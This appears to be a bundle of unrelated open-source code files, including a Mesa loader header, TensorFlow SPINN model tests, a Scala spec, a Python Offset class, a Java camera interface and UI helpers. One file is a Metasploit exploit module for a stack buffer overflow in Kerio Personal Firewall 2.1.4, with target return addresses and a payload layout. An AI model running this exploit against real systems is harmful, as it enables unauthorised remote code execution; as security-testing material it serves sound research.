text:
#ifndef LOADER_H
#define LOADER_H

/* Helpers to figure out driver and device name, eg. from pci-id, etc. */

#define _LOADER_DRI          (1 << 0)
#define _LOADER_GALLIUM      (1 << 1)

int
loader_get_pci_id_for_fd(int fd, int *vendor_id, int *chip_id);

char *
loader_get_driver_for_fd(int fd, unsigned driver_types);

char *
loader_get_device_name_for_fd(int fd);

/* Function to get a different device than the one we are to use by default,
 * if the user requests so and it is possible. The initial fd will be closed
 * if neccessary. The returned fd is potentially a render-node.
 */

int
loader_get_user_preferred_fd(int default_fd, int *different_device);

/* for logging.. keep this aligned with egllog.h so we can just use
 * _eglLog directly.
 */

#define _LOADER_FATAL   0   /* unrecoverable error */
#define _LOADER_WARNING 1   /* recoverable error/problem */
#define _LOADER_INFO    2   /* just useful info */
#define _LOADER_DEBUG   3   /* useful info for debugging */

void
loader_set_logger(void (*logger)(int level, const char *fmt, ...));

#endif /* LOADER_H */


text:
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function

import collections
import gc
import glob
import os
import shutil
import tempfile
import time

import numpy as np
from six.moves import xrange  # pylint: disable=redefined-builtin
import tensorflow as tf

# pylint: disable=g-bad-import-order
import tensorflow.contrib.eager as tfe
from tensorflow.contrib.eager.python.examples.spinn import data
from third_party.examples.eager.spinn import spinn
from tensorflow.contrib.summary import summary_test_util
from tensorflow.python.eager import test
from tensorflow.python.framework import test_util
from tensorflow.python.training import checkpoint_management
from tensorflow.python.training.tracking import util as trackable_utils
# pylint: enable=g-bad-import-order

def _generate_synthetic_snli_data_batch(sequence_length,
                                        batch_size,
                                        vocab_size):
  """Generate a fake batch of SNLI data for testing."""
  with tf.device("cpu:0"):
    labels = tf.random_uniform([batch_size], minval=1, maxval=4, dtype=tf.int64)
    prem = tf.random_uniform(
        (sequence_length, batch_size), maxval=vocab_size, dtype=tf.int64)
    prem_trans = tf.constant(np.array(
        [[3, 3, 2, 3, 3, 3, 2, 2, 2, 3, 3, 3,
          2, 3, 3, 2, 2, 3, 3, 3, 2, 2, 2, 2,
          3, 2, 2]] * batch_size, dtype=np.int64).T)
    hypo = tf.random_uniform(
        (sequence_length, batch_size), maxval=vocab_size, dtype=tf.int64)
    hypo_trans = tf.constant(np.array(
        [[3, 3, 2, 3, 3, 3, 2, 2, 2, 3, 3, 3,
          2, 3, 3, 2, 2, 3, 3, 3, 2, 2, 2, 2,
          3, 2, 2]] * batch_size, dtype=np.int64).T)
  if tfe.num_gpus():
    labels = labels.gpu()
    prem = prem.gpu()
    prem_trans = prem_trans.gpu()
    hypo = hypo.gpu()
    hypo_trans = hypo_trans.gpu()
  return labels, prem, prem_trans, hypo, hypo_trans

def _test_spinn_config(d_embed, d_out, logdir=None, inference_sentences=None):
  """Generate a config tuple for testing.

  Args:
    d_embed: Embedding dimensions.
    d_out: Model output dimensions.
    logdir: Optional logdir.
    inference_sentences: A 2-tuple of strings representing the sentences (with
      binary parsing result), e.g.,
      ("( ( The dog ) ( ( is running ) . ) )", "( ( The dog ) ( moves . ) )").

  Returns:
    A config tuple.
  """
  config_tuple = collections.namedtuple(
      "Config", ["d_hidden", "d_proj", "d_tracker", "predict",
                 "embed_dropout", "mlp_dropout", "n_mlp_layers", "d_mlp",
                 "d_out", "projection", "lr", "batch_size", "epochs",
                 "force_cpu", "logdir", "log_every", "dev_every", "save_every",
                 "lr_decay_every", "lr_decay_by", "inference_premise",
                 "inference_hypothesis"])

  inference_premise = inference_sentences[0] if inference_sentences else None
  inference_hypothesis = inference_sentences[1] if inference_sentences else None
  return config_tuple(
      d_hidden=d_embed,
      d_proj=d_embed * 2,
      d_tracker=8,
      predict=False,
      embed_dropout=0.1,
      mlp_dropout=0.1,
      n_mlp_layers=2,
      d_mlp=32,
      d_out=d_out,
      projection=True,
      lr=2e-2,
      batch_size=2,
      epochs=20,
      force_cpu=False,
      logdir=logdir,
      log_every=1,
      dev_every=2,
      save_every=2,
      lr_decay_every=1,
      lr_decay_by=0.75,
      inference_premise=inference_premise,
      inference_hypothesis=inference_hypothesis)

class SpinnTest(test_util.TensorFlowTestCase):

  def setUp(self):
    super(SpinnTest, self).setUp()
    self._test_device = "gpu:0" if tfe.num_gpus() else "cpu:0"
    self._temp_data_dir = tempfile.mkdtemp()

  def tearDown(self):
    shutil.rmtree(self._temp_data_dir)
    super(SpinnTest, self).tearDown()

  def testBundle(self):
    with tf.device(self._test_device):
      lstm_iter = [np.array([[0, 1], [2, 3]], dtype=np.float32),
                   np.array([[0, -1], [-2, -3]], dtype=np.float32),
                   np.array([[0, 2], [4, 6]], dtype=np.float32),
                   np.array([[0, -2], [-4, -6]], dtype=np.float32)]
      out = spinn._bundle(lstm_iter)

      self.assertEqual(2, len(out))
      self.assertEqual(tf.float32, out[0].dtype)
      self.assertEqual(tf.float32, out[1].dtype)
      self.assertAllEqual(np.array([[0, 2, 0, -2, 0, 4, 0, -4]]).T,
                          out[0].numpy())
      self.assertAllEqual(np.array([[1, 3, -1, -3, 2, 6, -2, -6]]).T,
                          out[1].numpy())

  def testUnbunbdle(self):
    with tf.device(self._test_device):
      state = [np.array([[0, 1, 2], [3, 4, 5]], dtype=np.float32),
               np.array([[0, -1, -2], [-3, -4, -5]], dtype=np.float32)]
      out = spinn._unbundle(state)

      self.assertEqual(2, len(out))
      self.assertEqual(tf.float32, out[0].dtype)
      self.assertEqual(tf.float32, out[1].dtype)
      self.assertAllEqual(np.array([[0, 1, 2, 0, -1, -2]]),
                          out[0].numpy())
      self.assertAllEqual(np.array([[3, 4, 5, -3, -4, -5]]),
                          out[1].numpy())

  def testReducer(self):
    with tf.device(self._test_device):
      batch_size = 3
      size = 10
      tracker_size = 8
      reducer = spinn.Reducer(size, tracker_size=tracker_size)

      left_in = []
      right_in = []
      tracking = []
      for _ in range(batch_size):
        left_in.append(tf.random_normal((1, size * 2)))
        right_in.append(tf.random_normal((1, size * 2)))
        tracking.append(tf.random_normal((1, tracker_size * 2)))

      out = reducer(left_in, right_in, tracking=tracking)
      self.assertEqual(batch_size, len(out))
      self.assertEqual(tf.float32, out[0].dtype)
      self.assertEqual((1, size * 2), out[0].shape)

  def testReduceTreeLSTM(self):
    with tf.device(self._test_device):
      size = 10
      tracker_size = 8
      reducer = spinn.Reducer(size, tracker_size=tracker_size)

      lstm_in = np.array([[0, 1, 2, 3, 4, 5, 6, 7, 8, 9],
                          [0, -1, -2, -3, -4, -5, -6, -7, -8, -9]],
                         dtype=np.float32)
      c1 = np.array([[0, 1], [2, 3]], dtype=np.float32)
      c2 = np.array([[0, -1], [-2, -3]], dtype=np.float32)

      h, c = reducer._tree_lstm(c1, c2, lstm_in)
      self.assertEqual(tf.float32, h.dtype)
      self.assertEqual(tf.float32, c.dtype)
      self.assertEqual((2, 2), h.shape)
      self.assertEqual((2, 2), c.shape)

  def testTracker(self):
    with tf.device(self._test_device):
      batch_size = 2
      size = 10
      tracker_size = 8
      buffer_length = 18
      stack_size = 3

      tracker = spinn.Tracker(tracker_size, False)
      tracker.reset_state()

      # Create dummy inputs for testing.
      bufs = []
      buf = []
      for _ in range(buffer_length):
        buf.append(tf.random_normal((batch_size, size * 2)))
      bufs.append(buf)
      self.assertEqual(1, len(bufs))
      self.assertEqual(buffer_length, len(bufs[0]))
      self.assertEqual((batch_size, size * 2), bufs[0][0].shape)

      stacks = []
      stack = []
      for _ in range(stack_size):
        stack.append(tf.random_normal((batch_size, size * 2)))
      stacks.append(stack)
      self.assertEqual(1, len(stacks))
      self.assertEqual(3, len(stacks[0]))
      self.assertEqual((batch_size, size * 2), stacks[0][0].shape)

      for _ in range(2):
        out1, out2 = tracker(bufs, stacks)
        self.assertIsNone(out2)
        self.assertEqual(batch_size, len(out1))
        self.assertEqual(tf.float32, out1[0].dtype)
        self.assertEqual((1, tracker_size * 2), out1[0].shape)

        self.assertEqual(tf.float32, tracker.state.c.dtype)
        self.assertEqual((batch_size, tracker_size), tracker.state.c.shape)
        self.assertEqual(tf.float32, tracker.state.h.dtype)
        self.assertEqual((batch_size, tracker_size), tracker.state.h.shape)

  def testSPINN(self):
    with tf.device(self._test_device):
      embedding_dims = 10
      d_tracker = 8
      sequence_length = 15
      num_transitions = 27

      config_tuple = collections.namedtuple(
          "Config", ["d_hidden", "d_proj", "d_tracker", "predict"])
      config = config_tuple(
          embedding_dims, embedding_dims * 2, d_tracker, False)
      s = spinn.SPINN(config)

      # Create some fake data.
      buffers = tf.random_normal((sequence_length, 1, config.d_proj))
      transitions = tf.constant(
          [[3], [3], [2], [3], [3], [3], [2], [2], [2], [3], [3], [3],
           [2], [3], [3], [2], [2], [3], [3], [3], [2], [2], [2], [2],
           [3], [2], [2]], dtype=tf.int64)
      self.assertEqual(tf.int64, transitions.dtype)
      self.assertEqual((num_transitions, 1), transitions.shape)

      out = s(buffers, transitions, training=True)
      self.assertEqual(tf.float32, out.dtype)
      self.assertEqual((1, embedding_dims), out.shape)

  def testSNLIClassifierAndTrainer(self):
    with tf.device(self._test_device):
      vocab_size = 40
      batch_size = 2
      d_embed = 10
      sequence_length = 15
      d_out = 4

      config = _test_spinn_config(d_embed, d_out)

      # Create fake embedding matrix.
      embed = tf.random_normal((vocab_size, d_embed))

      model = spinn.SNLIClassifier(config, embed)
      trainer = spinn.SNLIClassifierTrainer(model, config.lr)

      (labels, prem, prem_trans, hypo,
       hypo_trans) = _generate_synthetic_snli_data_batch(sequence_length,
                                                         batch_size,
                                                         vocab_size)

      # Invoke model under non-training mode.
      logits = model(prem, prem_trans, hypo, hypo_trans, training=False)
      self.assertEqual(tf.float32, logits.dtype)
      self.assertEqual((batch_size, d_out), logits.shape)

      # Invoke model under training model.
      logits = model(prem, prem_trans, hypo, hypo_trans, training=True)
      self.assertEqual(tf.float32, logits.dtype)
      self.assertEqual((batch_size, d_out), logits.shape)

      # Calculate loss.
      loss1 = trainer.loss(labels, logits)
      self.assertEqual(tf.float32, loss1.dtype)
      self.assertEqual((), loss1.shape)

      loss2, logits = trainer.train_batch(
          labels, prem, prem_trans, hypo, hypo_trans)
      self.assertEqual(tf.float32, loss2.dtype)
      self.assertEqual((), loss2.shape)
      self.assertEqual(tf.float32, logits.dtype)
      self.assertEqual((batch_size, d_out), logits.shape)
      # Training on the batch should have led to a change in the loss value.
      self.assertNotEqual(loss1.numpy(), loss2.numpy())

  def _create_test_data(self, snli_1_0_dir):
    fake_train_file = os.path.join(snli_1_0_dir, "snli_1.0_train.txt")
    os.makedirs(snli_1_0_dir)

    # Four sentences in total.
    with open(fake_train_file, "wt") as f:
      f.write("gold_label\tsentence1_binary_parse\tsentence2_binary_parse\t"
              "sentence1_parse\tsentence2_parse\tsentence1\tsentence2\t"
              "captionID\tpairID\tlabel1\tlabel2\tlabel3\tlabel4\tlabel5\n")
      f.write("neutral\t( ( Foo bar ) . )\t( ( foo . )\t"
              "DummySentence1Parse\tDummySentence2Parse\t"
              "Foo bar.\tfoo baz.\t"
              "4705552913.jpg#2\t4705552913.jpg#2r1n\t"
              "neutral\tentailment\tneutral\tneutral\tneutral\n")
      f.write("contradiction\t( ( Bar foo ) . )\t( ( baz . )\t"
              "DummySentence1Parse\tDummySentence2Parse\t"
              "Foo bar.\tfoo baz.\t"
              "4705552913.jpg#2\t4705552913.jpg#2r1n\t"
              "neutral\tentailment\tneutral\tneutral\tneutral\n")
      f.write("entailment\t( ( Quux quuz ) . )\t( ( grault . )\t"
              "DummySentence1Parse\tDummySentence2Parse\t"
              "Foo bar.\tfoo baz.\t"
              "4705552913.jpg#2\t4705552913.jpg#2r1n\t"
              "neutral\tentailment\tneutral\tneutral\tneutral\n")
      f.write("entailment\t( ( Quuz quux ) . )\t( ( garply . )\t"
              "DummySentence1Parse\tDummySentence2Parse\t"
              "Foo bar.\tfoo baz.\t"
              "4705552913.jpg#2\t4705552913.jpg#2r1n\t"
              "neutral\tentailment\tneutral\tneutral\tneutral\n")

    glove_dir = os.path.join(self._temp_data_dir, "glove")
    os.makedirs(glove_dir)
    glove_file = os.path.join(glove_dir, "glove.42B.300d.txt")

    words = [".", "foo", "bar", "baz", "quux", "quuz", "grault", "garply"]
    with open(glove_file, "wt") as f:
      for i, word in enumerate(words):
        f.write("%s " % word)
        for j in range(data.WORD_VECTOR_LEN):
          f.write("%.5f" % (i * 0.1))
          if j < data.WORD_VECTOR_LEN - 1:
            f.write(" ")
          else:
            f.write("\n")

    return fake_train_file

  def testInferSpinnWorks(self):
    """Test inference with the spinn model."""
    snli_1_0_dir = os.path.join(self._temp_data_dir, "snli/snli_1.0")
    self._create_test_data(snli_1_0_dir)

    vocab = data.load_vocabulary(self._temp_data_dir)
    word2index, embed = data.load_word_vectors(self._temp_data_dir, vocab)

    config = _test_spinn_config(
        data.WORD_VECTOR_LEN, 4,
        logdir=os.path.join(self._temp_data_dir, "logdir"),
        inference_sentences=("( foo ( bar . ) )", "( bar ( foo . ) )"))
    logits = spinn.train_or_infer_spinn(
        embed, word2index, None, None, None, config)
    self.assertEqual(tf.float32, logits.dtype)
    self.assertEqual((3,), logits.shape)

  def testInferSpinnThrowsErrorIfOnlyOneSentenceIsSpecified(self):
    snli_1_0_dir = os.path.join(self._temp_data_dir, "snli/snli_1.0")
    self._create_test_data(snli_1_0_dir)

    vocab = data.load_vocabulary(self._temp_data_dir)
    word2index, embed = data.load_word_vectors(self._temp_data_dir, vocab)

    config = _test_spinn_config(
        data.WORD_VECTOR_LEN, 4,
        logdir=os.path.join(self._temp_data_dir, "logdir"),
        inference_sentences=("( foo ( bar . ) )", None))
    with self.assertRaises(ValueError):
      spinn.train_or_infer_spinn(embed, word2index, None, None, None, config)

  def testTrainSpinn(self):
    """Test with fake toy SNLI data and GloVe vectors."""

    # 1. Create and load a fake SNLI data file and a fake GloVe embedding file.
    snli_1_0_dir = os.path.join(self._temp_data_dir, "snli/snli_1.0")
    fake_train_file = self._create_test_data(snli_1_0_dir)

    vocab = data.load_vocabulary(self._temp_data_dir)
    word2index, embed = data.load_word_vectors(self._temp_data_dir, vocab)

    train_data = data.SnliData(fake_train_file, word2index)
    dev_data = data.SnliData(fake_train_file, word2index)
    test_data = data.SnliData(fake_train_file, word2index)

    # 2. Create a fake config.
    config = _test_spinn_config(
        data.WORD_VECTOR_LEN, 4,
        logdir=os.path.join(self._temp_data_dir, "logdir"))

    # 3. Test training of a SPINN model.
    trainer = spinn.train_or_infer_spinn(
        embed, word2index, train_data, dev_data, test_data, config)

    # 4. Load train loss values from the summary files and verify that they
    #    decrease with training.
    summary_file = glob.glob(os.path.join(config.logdir, "events.out.*"))[0]
    events = summary_test_util.events_from_file(summary_file)
    train_losses = [event.summary.value[0].simple_value for event in events
                    if event.summary.value
                    and event.summary.value[0].tag == "train/loss"]
    self.assertEqual(config.epochs, len(train_losses))

    # 5. Verify that checkpoints exist and contains all the expected variables.
    self.assertTrue(glob.glob(os.path.join(config.logdir, "ckpt*")))
    object_graph = trackable_utils.object_metadata(
        checkpoint_management.latest_checkpoint(config.logdir))
    ckpt_variable_names = set()
    for node in object_graph.nodes:
      for attribute in node.attributes:
        ckpt_variable_names.add(attribute.full_name)
    self.assertIn("global_step", ckpt_variable_names)
    for v in trainer.variables:
      variable_name = v.name[:v.name.index(":")] if ":" in v.name else v.name
      self.assertIn(variable_name, ckpt_variable_names)

class EagerSpinnSNLIClassifierBenchmark(test.Benchmark):

  def benchmarkEagerSpinnSNLIClassifier(self):
    test_device = "gpu:0" if tfe.num_gpus() else "cpu:0"
    with tf.device(test_device):
      burn_in_iterations = 2
      benchmark_iterations = 10

      vocab_size = 1000
      batch_size = 128
      sequence_length = 15
      d_embed = 200
      d_out = 4

      embed = tf.random_normal((vocab_size, d_embed))

      config = _test_spinn_config(d_embed, d_out)
      model = spinn.SNLIClassifier(config, embed)
      trainer = spinn.SNLIClassifierTrainer(model, config.lr)

      (labels, prem, prem_trans, hypo,
       hypo_trans) = _generate_synthetic_snli_data_batch(sequence_length,
                                                         batch_size,
                                                         vocab_size)

      for _ in range(burn_in_iterations):
        trainer.train_batch(labels, prem, prem_trans, hypo, hypo_trans)

      gc.collect()
      start_time = time.time()
      for _ in xrange(benchmark_iterations):
        trainer.train_batch(labels, prem, prem_trans, hypo, hypo_trans)
      wall_time = time.time() - start_time
      # Named "examples"_per_sec to conform with other benchmarks.
      extras = {"examples_per_sec": benchmark_iterations / wall_time}
      self.report_benchmark(
          name="Eager_SPINN_SNLIClassifier_Benchmark",
          iters=benchmark_iterations,
          wall_time=wall_time,
          extras=extras)

if __name__ == "__main__":
  test.main()

redpajama_set_name: RedPajamaGithub


text:
package org.digimead.digi.lib.mesh.endpoint

import java.util.UUID

import scala.ref.WeakReference

import org.digimead.digi.lib.DependencyInjection
import org.digimead.digi.lib.log.api.Loggable
import org.digimead.lib.test.LoggingHelper
import org.scalatest.FunSpec
import org.scalatest.matchers.ShouldMatchers

class LocalEndpointSpec extends FunSpec with ShouldMatchers with LoggingHelper with Loggable {
  after { adjustLoggingAfter }
  before {
    DependencyInjection(org.digimead.digi.lib.mesh.defaultFakeHexapod ~
      org.digimead.digi.lib.mesh.default ~ org.digimead.digi.lib.default, false)
    adjustLoggingBefore
  }

  describe("A LocalEndpoint") {
    it("should have (de)serialization via signature") {
      val epaddr = UUID.randomUUID()
      val ep = new LocalEndpoint(new WeakReference(null), Endpoint.Direction.InOut, new LocalEndpoint.Nature(epaddr), -1)
      ep.nature.address should be(epaddr.toString())
      ep.nature.toString should be("local://" + epaddr.toString())
      ep.signature should be("local'" + epaddr.toString() + "'-1'InOut'")
      ep.actualPriority should be(-1)
      val serialized = ep.signature
      val epCopy = Endpoint.fromSignature(null, serialized)
      epCopy.get.nature.toString should be(ep.nature.toString)
      epCopy.get.signature.toString should be(ep.signature.toString)
    }
  }

  override def beforeAll(configMap: Map[String, Any]) { adjustLoggingBeforeAll(configMap) }
}


text:
"""

File: Offset.py

Purpose: Describes a general Offset type that can be independent of time.

"""

from fractions import Fraction
from timemodel.position import Position
from timemodel.duration import Duration

class Offset(object):
    """
    classdocs
    """

    def __init__(self, *args, **kwargs):
        # args -- tuple of anonymous arguments
        # kwargs -- dictionary of named arguments
        """
        Constructor

        Args (1 parameter only)
          [0] offset_fraction (Fraction)

        Args (2 parameters)
          [0] numerator (int)
          [1] denominator (int)
        """
        if len(args) == 1:
            if not isinstance(args[0], Fraction) and not isinstance(args[0], int) and not isinstance(args[0], float):
                raise Exception(
                    'Single argument to Duration must be fraction or int or float, not {0}.'.format(type(args[0])))
            offset_fraction = args[0] if isinstance(args[0], Fraction) else Fraction(args[0])
        elif len(args) == 2:
            if not isinstance(args[0], int) or not isinstance(args[1], int):
                raise Exception('For 2 arguments, both must be integer.')
            offset_fraction = Fraction(args[0], args[1])
        else:
            raise Exception('Only 1 or two arguments expected.')

        self.__offset = offset_fraction

    @property
    def offset(self):
        return self.__offset

    def __cmp__(self, other):
        return -1 if self.offset < other.offset else 1 if self.offset > other.offset else 0

    def __lt__(self, other):
        if isinstance(other, Fraction) or isinstance(other, int) or isinstance(other, float):
            return self.offset < other
        return self.offset < other.offset

    def __le__(self, other):
        if isinstance(other, Fraction) or isinstance(other, int) or isinstance(other, float):
            return self.offset <= other
        return self.offset <= other.offset

    def __eq__(self, other):
        if other is None:
            return False
        if isinstance(other, Fraction) or isinstance(other, int) or isinstance(other, float):
            return self.offset == other
        if not isinstance(other, Offset):
            return False
        return self.offset == other.offset

    def __ne__(self, other):
        if other is None:
            return False
        if isinstance(other, Fraction) or isinstance(other, int) or isinstance(other, float):
            return self.offset != other
        if not isinstance(other, Offset):
            return False
        return self.offset != other.offset

    def __gt__(self, other):
        if other is None:
            return False
        if isinstance(other, Fraction) or isinstance(other, int) or isinstance(other, float):
            return self.offset > other
        if not isinstance(other, Offset):
            return False
        return self.offset > other.offset

    def __ge__(self, other):
        if isinstance(other, Fraction) or isinstance(other, int) or isinstance(other, float):
            return self.offset >= other
        return self.offset >= other.offset

    def __add__(self, other):
        if isinstance(other, Fraction) or isinstance(other, int):
            return Offset(self.offset + other)
        elif isinstance(other, float):
            return Offset(self.offset + Fraction(other))
        elif isinstance(other, Duration):
            return Duration(self.offset + other.duration)
        elif isinstance(other, Position):
            return other + self
        elif isinstance(other, Offset):
            return Offset(self.offset + other.offset)
        else:
            raise Exception(
                '= operator for offset {0} cannot be applied to {1} of type {2}'.format(self, other, type(other)))

    def __radd__(self, other):
        return self + other

    def __iadd__(self, other):
        # We opt to make Offset so neutral that offset+=position or duration just augments offset
        # This turns out to be very useful, this overrides __add__ for position and duration arguments
        if isinstance(other, Position):
            other = Offset(other.position)
        elif isinstance(other, Duration):
            other = Offset(other.duration)
        return self + other

    def __sub__(self, other):
        if isinstance(other, Fraction) or isinstance(other, int):
            return Offset(self.offset - other)
        elif isinstance(other, float):
            return Offset(self.offset - Fraction(other))
        elif isinstance(other, Position):
            return Position(self.offset - other.position)
        elif isinstance(other, Duration):
            return Duration(self.offset - other.duration)
        elif isinstance(other, Offset):
            return Offset(self.offset - other.offset)
        else:
            raise Exception('- operator for offset {0} cannot can not subtract type {1}'.format(self, type(other)))

    def __rsub__(self, other):
        return -self.__sub__(other)

    def __isub__(self, other):
        # We opt to make Offset so neutral that offset-=position or duration just augments offset
        # This turns out to be very useful, this overrides __sub__ for position and duration arguments
        if isinstance(other, Position):
            other = Offset(other.position)
        elif isinstance(other, Duration):
            other = Offset(other.duration)
        return self - other

    def __neg__(self):
        return Offset(-self.offset)

    def __mul__(self, other):
        if isinstance(other, Fraction) or isinstance(other, int):
            return Offset(self.offset * other)
        elif isinstance(other, float):
            return Offset(self.offset * Fraction(other))
        else:
            raise Exception('* operator for offset {0} cannot be used on type {1}'.format(self, type(other)))

    def __rmul__(self, other):
        return self * other

    def __imul__(self, other):
        return self.__mul__(other)

    def __str__(self):
        return str(self.offset)


text:
<?php
/* fr/account.php */

/* mobile account */
$lang['mobile_account_myAccount'] = 'Mon Compte';
$lang['mobile_account_myOrders'] = 'Mes Commandes';
$lang['mobile_account_myAddressBook'] = 'Mon carnet d\'adresses';
$lang['mobile_account_myAccountInfo'] = 'Informations du compte';


text:
package org.deviceconnect.android.deviceplugin.theta.core;

import java.util.List;

/**
 * THETA Device.
 *

 * Provides APIs to access features of THETA Device. These APIs return a value synchronously.
 *

 */
public interface ThetaDevice extends LiveCamera {

    /**
     * Gets the identifier of this THETA device.
     *
     * @return the identifier of this THETA device
     */
    String getId();

    /**
     * Gets the name of this THETA device.
     *
     * @return the name of this THETA device
     */
    String getName();

    /**
     * Gets the model of this THETA device.
     *
     * @return model of this THETA device
     */
    ThetaDeviceModel getModel();

    /**
     * Fetches a list of objects stored in this THETA device.
     *
     *

     * If THETA device has no object, this method returns a 0-length list.
     *

     *
     *

     * NOTE: An instance of {@link ThetaObject} which is returned by this method is not fetched.
     * If the binary data is needed, please call {@link ThetaObject#fetch(ThetaObject.DataType)} } to obtain the
     * binary data from the THETA device.
     *

     *
     * @return a list of objects stored in this THETA device
     * @throws ThetaDeviceException if the API execution is failed.
     */
    List<ThetaObject> fetchAllObjectList() throws ThetaDeviceException;

    /**
     * Fetches a list of objects stored in this THETA device.
     *
     *

     * If THETA device has no object in the specified range, this method returns a 0-length list.
     *

     *
     *

     * NOTE: An instance of {@link ThetaObject} which is returned by this method is not fetched.
     * If the binary data is needed, please call {@link ThetaObject#fetch(ThetaObject.DataType)} to obtain the
     * binary data from the THETA device.
     *

     *
     * @param offset the offset of the list
     * @param maxLength the maximum length of the list
     * @return a list of objects stored in this THETA device
     * @throws ThetaDeviceException if the API execution is failed.
     */
    List<ThetaObject> fetchObjectList(int offset, int maxLength) throws ThetaDeviceException;

    /**
     * Takes a picture by the camera of THETA device.
     *
     *

     * NOTE: An instance of {@link ThetaObject} which is returned by this method is not fetched.
     * If the binary data is needed, please call {@link ThetaObject#fetch(ThetaObject.DataType)} to obtain the
     * binary data from the THETA device.
     *

     *
     * @return an instance of {@link ThetaObject} of the picture
     * @throws ThetaDeviceException if the API execution is failed.
     */
    ThetaObject takePicture() throws ThetaDeviceException;

    /**
     * Starts video recording by the camera of THETA device.
     *
     * @see #stopVideoRecording()
     * @throws ThetaDeviceException if the API execution is failed.
     */
    void startVideoRecording() throws ThetaDeviceException;

    /**
     * Stops video recording explicitly.
     *
     * @throws ThetaDeviceException if the API execution is failed.
     */
    void stopVideoRecording() throws ThetaDeviceException;

    /**
     * Return maximum length of video recording as milliseconds.
     *
     * @return Maximum length of video recording as milliseconds
     */
    long getMaxVideoLength();

    /**
     * Gets the battery level of THETA device.
     *
     *

     * Range: 0.0 <= level <= 1.0
     *

     *
     * @return the battery level of THETA device
     * @throws ThetaDeviceException if the API execution is failed.
     */
    double getBatteryLevel() throws ThetaDeviceException;

    /**
     * Gets current shooting mode.
     *
     * @return current shooting mode
     * @throws ThetaDeviceException if the API execution is failed.
     */
    ShootingMode getShootingMode() throws ThetaDeviceException;

    /**
     * Changes shooting mode.
     *
     * @param mode shooting mode
     * @throws ThetaDeviceException if the API execution is failed.
     * @see ShootingMode
     */
    void changeShootingMode(ShootingMode mode) throws ThetaDeviceException;

    /**
     * Gets the recorder information of this THETA device.
     *
     * @return the recorder information of this THETA device
     * @throws ThetaDeviceException if the API execution is failed.
     */
    Recorder getRecorder() throws ThetaDeviceException;

    /**
     * Release objects or any other resources.
     */
    void destroy();

    /**
     * Shooting mode.
     */
    enum ShootingMode {

        /**
         * Image shooting mode (one-shot).
         */
        IMAGE,

        /**
         * Image shooting mode (interval).
         */
        IMAGE_INTERVAL,

        /**
         * Video shooting mode.
         */
        VIDEO,

        /**
         * Live streaming mode.
         */
        LIVE_STREAMING,

        /**
         * Unknown mode.
         */
        UNKNOWN

    }

    interface Recorder {

        String getId();

        String getName();

        String getMimeType();

        int getImageWidth();

        int getImageHeight();

        RecorderState getState() throws ThetaDeviceException;

    }

    enum RecorderState {

        INACTIVE,

        RECORDING,

        UNKNOWN

    }

}


text:
/**
 * Lithuanian (Lietuvių) language functions
 */

mediaWiki.language.convertPlural = function( count, forms ) {
	// if the number is not mentioned in message, then use $form[0] for singular and $form[1] for plural or zero
	if ( forms.length == 2 ) {
		return count == 1 ? forms[0] : forms[1];
	}
	forms = mediaWiki.language.preConvertPlural( forms, 3 );
	if ( count % 10 == 1 && count % 100 != 11 ) {
		return forms[0];
	}
	if ( count % 10 >= 2 && ( count % 100 < 10 || count % 100 >= 20 ) ) {
		return forms[1];
	}
	return forms[2];
};


text:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Kerio Firewall 2.1.4 Authentication Packet Overflow',
			'Description'    => %q{
				This module exploits a stack buffer overflow in Kerio Personal Firewall
				administration authentication process. This module has only been tested
				against Kerio Personal Firewall 2 (2.1.4).
			},
			'Author'         => 'MC',
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9525 $',
			'References'     =>
				[
					['CVE', '2003-0220'],
					['OSVDB', '6294'],
					['BID', '7180'],
					['URL', 'http://www1.corest.com/common/showdoc.php?idx=314&idxseccion=10'],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'    => 800,
					'BadChars' => "\x00",
					'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Windows 2000 Pro SP4 English', { 'Ret' => 0x7c2ec68b } ],
					[ 'Windows XP Pro SP0 English',   { 'Ret' => 0x77e3171b } ],
					[ 'Windows XP Pro SP1 English',   { 'Ret' => 0x77dc5527 } ],
				],
			'Privileged'     => true,
			'DisclosureDate' => 'Apr 28 2003',
			'DefaultTarget' => 0))

		register_options(
			[
				Opt::RPORT(44334)
			], self.class)
	end

	def exploit
		connect

		print_status("Trying target #{target.name}...")

		sploit =  make_nops(4468) + payload.encoded
		sploit << [target.ret].pack('V') + [0xe8, -850].pack('CV')

		sock.put(sploit)
		sock.get_once(-1, 3)

		handler
		disconnect
	end

end


text:
import { ItemValue } from "../../main/components/ControlPane/LineGraph/LineGraph"
import { IPoint, IRect } from "../geometry"
import { ControlSelection } from "../selection/ControlSelection"

export class ControlCoordTransform {
  private _maxValue: number
  private _height: number
  private _lineWidth: number
  private _pixelsPerTick: number

  constructor(
    pixelsPerTick: number,
    maxValue: number,
    height: number,
    lineWidth: number
  ) {
    this._pixelsPerTick = pixelsPerTick
    this._maxValue = maxValue
    this._height = height
    this._lineWidth = lineWidth
  }

  get maxValue() {
    return this._maxValue
  }

  getX(tick: number) {
    return tick * this._pixelsPerTick
  }

  getTicks(pixels: number) {
    return Math.floor(pixels / this._pixelsPerTick)
  }

  getY(value: number) {
    return (
      (1 - value / this._maxValue) * (this._height - this._lineWidth * 2) +
      this._lineWidth
    )
  }

  getValue(y: number) {
    return Math.floor(
      (1 - (y - this._lineWidth) / (this._height - this._lineWidth * 2)) *
        this._maxValue
    )
  }

  toPosition(tick: number, value: number): IPoint {
    return {
      x: Math.round(this.getX(tick)),
      y: Math.round(this.getY(value)),
    }
  }

  fromPosition(position: IPoint): ItemValue {
    return {
      tick: this.getTicks(position.x),
      value: this.getValue(position.y),
    }
  }

  transformSelection(selection: ControlSelection): IRect {
    const x = this.getX(selection.fromTick)
    return {
      x,
      y: 0,
      width: this.getX(selection.toTick) - x,
      height: this._height,
    }
  }
}


text:
using UnityEngine;
using System.Collections;

public class TileLoader : MonoBehaviour {
	void Awake() {
		GameObject.DontDestroyOnLoad(gameObject);
	}
}


text:
